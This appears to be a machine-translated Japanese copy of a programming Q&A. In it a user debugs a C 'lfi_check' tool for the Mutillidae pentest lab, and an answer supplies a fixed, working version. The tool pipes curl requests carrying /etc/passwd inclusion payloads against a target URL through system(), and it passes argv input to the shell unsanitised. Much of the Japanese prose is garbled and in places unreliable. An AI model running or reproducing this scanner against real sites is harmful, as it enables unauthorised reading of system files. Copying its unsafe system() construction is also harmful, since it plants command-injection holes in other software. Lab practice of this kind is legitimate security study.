2016-11-02 6 views
1

これは、 "ミチリダエ(Mutillidae)"と呼ばれるペンテストラボ環境です。プログラミングエレメントsprintf()への配列

このプログラムはARGV [1]とコマンドへ場所グラブ "<をカール[ARGV [1]>"、 それは)(第2 %Sはsprintfでにlfi_testファイルや場所、そこからラインをつかみます。このプログラムは%100を実行しますが、フォーマット(| grep root)に問題があります。代わりに、/ etc/passwdファイル全体を含むソースコード全体が表示されます。

私はライン#20のコメントを解除した場合:

int passwd = "/etc/passwd"; 

とライン#27

sprintf(url,"/usr/bin/curl %s%s", argv[1], passwd); 

を変更私は私が望むフォーマットされた結果を得ることができています。 誰かが私を助けることができる場合は、事前に感謝します。

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

int main(int argc, char * argv[]) 
{ 
    printf("\nlfi_check searches for system files on a vulnerable URL\n"); 
    printf("<><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n\n"); 

    if (argc != 2) 
    { 
    printf("\nusage ./lfi_check http://target.php?page= \n"); 
    } 
    else 
    { 
    char url[200]; 
    int i; 
    FILE *fp; 
    char line[200]; 
    char *root = "| grep root" 
// char *passwd = "/etc/passwd"; 

    fp = fopen("/home/freshnuts/pentest/lfi_rfi/lfi_test","r+"); 

    for (i=0; i <= 1; i++) 
    { 
     fgets(line,sizeof(line), fp); 
     sprintf(url,"/usr/bin/curl %s%s %s", argv[1], line-1, root); 
//  printf("%s", line); 
     system(url); 
    } 

    } 
} 
+1

'は/ etc/passwd'をimmibis

おかげで、文字列で、それは' int'に割り当てるべきではありません。 'char * passwd ="/etc/passwd ";'のような代入が使われる必要があります。 – DUman

+0

@DUmanヘッドアップマンに感謝、私はそれを変更し、それを書き留めた。 – Freshnuts

+1

'line'は最後に\ nを付けます。 – immibis

答えて

0

線-1に働いていなかった理由..

sprintf(url,"/usr/bin/curl %s%s %s\n", argv[1], line-1, root); 

ファイルから行(/ etc/passwdファイルを\ n)によるものであったが1で切断されていたと それはなかったのchar * root変数を文字列形式で実装できるようにします。

strtok()関数は、区切り文字を使用して行を一連のトークンに分割します。 sprintf()の前に "/ etc/passwd \ n"を "/ etc/passwd"に解析することができました。豆満江&が

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

int main(int argc, char * argv[]) 
{ 
    printf("\nlfi_check searches for system files on a vulnerable URL\n"); 
    printf("<><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n\n"); 

    if (argc != 2) 
    { 
    printf("\nusage ./lfi_check http://target.php?page= \n"); 
    } 
    else 
    { 
    char url[4096]; 
    int i; 
    FILE *fp; 
    char line[200]; 
    char *root = " | grep root"; 

    fp = fopen("/root/freshnuts/pentest/lfi_rfi/lfi_test","r+"); 

    for (i=0; i <= 2; i++) 
    { 
     fgets(line,sizeof(line), fp); 
     strtok(line, "\n"); 
     sprintf(url,"/usr/bin/curl %s%s %s\n", argv[1], line,root); 
     system(url); 
    } 

    } 
}